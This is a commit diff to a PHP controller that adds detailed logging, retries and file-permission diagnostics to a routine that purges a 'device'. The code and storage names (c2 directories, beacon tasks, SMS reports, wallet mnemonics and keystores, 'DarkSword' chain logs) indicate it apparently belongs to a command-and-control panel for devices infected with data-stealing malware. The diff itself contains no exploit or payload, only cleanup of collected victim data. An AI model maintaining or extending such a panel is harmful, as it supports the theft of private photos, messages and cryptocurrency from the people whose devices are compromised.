feat: delete
This commit is contained in:
@@ -219,7 +219,29 @@ class DeviceController extends Controller
|
||||
$this->authorizeDevice($device);
|
||||
|
||||
$listUrl = route($this->portal().'.devices.index');
|
||||
$this->purgeDevice($device);
|
||||
$started = microtime(true);
|
||||
$ctx = $this->purgeContext($device);
|
||||
Log::info('device_purge start', $ctx);
|
||||
|
||||
try {
|
||||
$this->purgeDevice($device, $ctx);
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('device_purge failed', $ctx + [
|
||||
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||
'error' => $e->getMessage(),
|
||||
'class' => $e::class,
|
||||
'at' => $e->getFile().':'.$e->getLine(),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 1,
|
||||
'msg' => '删除失败:'.$e->getMessage(),
|
||||
], 500);
|
||||
}
|
||||
|
||||
Log::info('device_purge done', $ctx + [
|
||||
'ms' => (int) ((microtime(true) - $started) * 1000),
|
||||
]);
|
||||
|
||||
return response()->json([
|
||||
'code' => 0,
|
||||
@@ -230,44 +252,66 @@ class DeviceController extends Controller
|
||||
]);
|
||||
}
|
||||
|
||||
private function purgeDevice(Device $device): void
|
||||
/**
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function purgeDevice(Device $device, array $ctx): void
|
||||
{
|
||||
$this->deletePhotoFiles($device);
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
$this->deleteStorageDir('c2/photos/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/inbox/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/check/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-results/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/ds-chunks/'.$device->device_id);
|
||||
$this->deleteStorageDir('c2/plugin-sessions/'.$device->device_id);
|
||||
$this->unmonitorAddresses($device);
|
||||
$this->purgeDarkSwordLogs($device);
|
||||
$this->purgeStep($ctx, 'delete_photo_files', function () use ($device, $ctx) {
|
||||
$n = $this->deletePhotoFiles($device);
|
||||
Log::info('device_purge photos', $ctx + ['deleted_files' => $n]);
|
||||
});
|
||||
$this->purgeStep($ctx, 'forget_previews', function () use ($device) {
|
||||
app(PhotoPreview::class)->forgetForDevice((string) $device->device_id);
|
||||
});
|
||||
foreach ([
|
||||
'c2/photos/'.$device->device_id,
|
||||
'c2/inbox/'.$device->device_id,
|
||||
'c2/check/'.$device->device_id,
|
||||
'c2/ds-results/'.$device->device_id,
|
||||
'c2/ds-chunks/'.$device->device_id,
|
||||
'c2/plugin-sessions/'.$device->device_id,
|
||||
] as $dir) {
|
||||
$this->purgeStep($ctx, 'delete_dir:'.$dir, fn () => $this->deleteStorageDir($dir, $ctx));
|
||||
}
|
||||
$this->purgeStep($ctx, 'unmonitor', fn () => $this->unmonitorAddresses($device));
|
||||
$this->purgeStep($ctx, 'purge_ds_logs', fn () => $this->purgeDarkSwordLogs($device, $ctx));
|
||||
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
$this->purgeStep($ctx, 'db_transaction', function () use ($device) {
|
||||
DB::transaction(function () use ($device) {
|
||||
$device->apps()->delete();
|
||||
$device->events()->delete();
|
||||
$device->photos()->delete();
|
||||
$device->notes()->delete();
|
||||
$device->addresses()->delete();
|
||||
$device->mnemonics()->delete();
|
||||
$device->keystores()->delete();
|
||||
$device->pluginSessions()->delete();
|
||||
$device->smsReports()->delete();
|
||||
$device->beaconTasks()->delete();
|
||||
$device->delete();
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
private function purgeDarkSwordLogs(Device $device): void
|
||||
/**
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function purgeDarkSwordLogs(Device $device, array $ctx): void
|
||||
{
|
||||
$keys = $this->deviceLogKeys($device);
|
||||
if ($keys === []) {
|
||||
return;
|
||||
}
|
||||
|
||||
DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||
PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||
$this->purgeDsFileLogs($keys);
|
||||
$chain = DsChainLog::query()->whereIn('client_uid', $keys)->delete();
|
||||
$visits = PageVisit::query()->whereIn('client_uid', $keys)->delete();
|
||||
Log::info('device_purge ds_rows', $ctx + [
|
||||
'keys' => $keys,
|
||||
'ds_chain_logs' => $chain,
|
||||
'page_visits' => $visits,
|
||||
]);
|
||||
$this->purgeDsFileLogs($keys, $ctx);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -289,8 +333,9 @@ class DeviceController extends Controller
|
||||
|
||||
/**
|
||||
* @param list<string> $keys
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function purgeDsFileLogs(array $keys): void
|
||||
private function purgeDsFileLogs(array $keys, array $ctx): void
|
||||
{
|
||||
$dir = public_path('log/ds');
|
||||
if (! is_dir($dir)) {
|
||||
@@ -305,7 +350,10 @@ class DeviceController extends Controller
|
||||
return;
|
||||
}
|
||||
|
||||
foreach (glob($dir.'/*.log') ?: [] as $file) {
|
||||
$files = glob($dir.'/*.log') ?: [];
|
||||
$rewritten = 0;
|
||||
$writeFails = [];
|
||||
foreach ($files as $file) {
|
||||
$raw = @file_get_contents($file);
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
continue;
|
||||
@@ -336,41 +384,167 @@ class DeviceController extends Controller
|
||||
continue;
|
||||
}
|
||||
$out = $kept === [] ? '' : implode("\r\n\r\n", $kept)."\r\n\r\n";
|
||||
@file_put_contents($file, $out);
|
||||
if (@file_put_contents($file, $out) === false) {
|
||||
$writeFails[] = $this->pathDebug($file);
|
||||
} else {
|
||||
$rewritten++;
|
||||
}
|
||||
}
|
||||
Log::info('device_purge ds_files', $ctx + [
|
||||
'dir' => $this->pathDebug($dir),
|
||||
'log_files' => count($files),
|
||||
'rewritten' => $rewritten,
|
||||
'write_fails' => $writeFails,
|
||||
]);
|
||||
}
|
||||
|
||||
private function deletePhotoFiles(Device $device): int
|
||||
{
|
||||
$deletedFiles = 0;
|
||||
$fails = [];
|
||||
$disk = Storage::disk('local');
|
||||
foreach ($device->photos()->get(['id', 'path']) as $photo) {
|
||||
$path = trim((string) ($photo->path ?? ''));
|
||||
if ($path === '') {
|
||||
if ($path === '' || ! $disk->exists($path)) {
|
||||
continue;
|
||||
}
|
||||
if (Storage::disk('local')->exists($path)) {
|
||||
Storage::disk('local')->delete($path);
|
||||
$deletedFiles++;
|
||||
try {
|
||||
if ($disk->delete($path)) {
|
||||
$deletedFiles++;
|
||||
} else {
|
||||
$fails[] = $this->pathDebug($disk->path($path)) + ['photo_id' => $photo->id];
|
||||
}
|
||||
} catch (\Throwable $e) {
|
||||
$fails[] = $this->pathDebug($disk->path($path)) + [
|
||||
'photo_id' => $photo->id,
|
||||
'error' => $e->getMessage(),
|
||||
];
|
||||
}
|
||||
}
|
||||
if ($fails !== []) {
|
||||
Log::warning('device_purge photo_file_fails', [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'fails' => array_slice($fails, 0, 8),
|
||||
'fail_count' => count($fails),
|
||||
]);
|
||||
}
|
||||
|
||||
return $deletedFiles;
|
||||
}
|
||||
|
||||
private function deleteStorageDir(string $dir): void
|
||||
/**
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function deleteStorageDir(string $dir, array $ctx = []): void
|
||||
{
|
||||
$disk = Storage::disk('local');
|
||||
$abs = $disk->path($dir);
|
||||
$probe = $this->pathDebug($abs);
|
||||
try {
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
$exists = $disk->directoryExists($dir);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('device_purge dir_stat_failed', $ctx + [
|
||||
'dir' => $dir,
|
||||
'path' => $probe,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
|
||||
return;
|
||||
}
|
||||
if (! $exists) {
|
||||
return;
|
||||
}
|
||||
try {
|
||||
$ok = $disk->deleteDirectory($dir);
|
||||
if ($ok) {
|
||||
Log::info('device_purge dir_deleted', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||
|
||||
return;
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
Log::warning('device_purge dir_delete_false', $ctx + ['dir' => $dir, 'path' => $probe]);
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('device_purge dir_delete_failed', $ctx + [
|
||||
'dir' => $dir,
|
||||
'path' => $probe,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
$disk->deleteDirectory($dir);
|
||||
} catch (\Throwable $retry) {
|
||||
Log::warning('device_purge dir_delete_retry_failed', $ctx + [
|
||||
'dir' => $dir,
|
||||
'path' => $this->pathDebug($abs),
|
||||
'error' => $retry->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $ctx
|
||||
*/
|
||||
private function purgeStep(array $ctx, string $step, callable $fn): void
|
||||
{
|
||||
$t = microtime(true);
|
||||
Log::info('device_purge step', $ctx + ['step' => $step]);
|
||||
try {
|
||||
$fn();
|
||||
} catch (\Throwable $e) {
|
||||
Log::error('device_purge step_failed', $ctx + [
|
||||
'step' => $step,
|
||||
'ms' => (int) ((microtime(true) - $t) * 1000),
|
||||
'error' => $e->getMessage(),
|
||||
'class' => $e::class,
|
||||
'at' => $e->getFile().':'.$e->getLine(),
|
||||
]);
|
||||
throw $e;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function purgeContext(Device $device): array
|
||||
{
|
||||
$uid = function_exists('posix_geteuid') ? posix_geteuid() : getmyuid();
|
||||
$user = function_exists('posix_getpwuid')
|
||||
? ((posix_getpwuid((int) $uid)['name'] ?? null) ?: (string) $uid)
|
||||
: (string) $uid;
|
||||
|
||||
return [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'php_user' => $user,
|
||||
'php_uid' => $uid,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function pathDebug(string $abs): array
|
||||
{
|
||||
$info = [
|
||||
'abs' => $abs,
|
||||
'exists' => file_exists($abs),
|
||||
'is_dir' => is_dir($abs),
|
||||
'readable' => is_readable($abs),
|
||||
'writable' => is_writable($abs),
|
||||
];
|
||||
if (! file_exists($abs)) {
|
||||
return $info;
|
||||
}
|
||||
$info['perms'] = substr(sprintf('%o', (int) fileperms($abs)), -4);
|
||||
$ownerUid = @fileowner($abs);
|
||||
$info['owner_uid'] = $ownerUid;
|
||||
if (function_exists('posix_getpwuid') && is_int($ownerUid)) {
|
||||
$info['owner'] = posix_getpwuid($ownerUid)['name'] ?? (string) $ownerUid;
|
||||
}
|
||||
|
||||
return $info;
|
||||
}
|
||||
|
||||
private function unmonitorAddresses(Device $device): void
|
||||
{
|
||||
$addresses = $device->addresses()->where('monitor', 1)->get();
|
||||
|
||||
@@ -71,10 +71,20 @@ class PhotoPreview
|
||||
if (Storage::disk('local')->directoryExists($dir)) {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
}
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $e) {
|
||||
Log::warning('photo_preview forget_failed', [
|
||||
'device_key' => $deviceKey,
|
||||
'dir' => $dir,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
try {
|
||||
Storage::disk('local')->deleteDirectory($dir);
|
||||
} catch (\Throwable) {
|
||||
} catch (\Throwable $retry) {
|
||||
Log::warning('photo_preview forget_retry_failed', [
|
||||
'device_key' => $deviceKey,
|
||||
'dir' => $dir,
|
||||
'error' => $retry->getMessage(),
|
||||
]);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user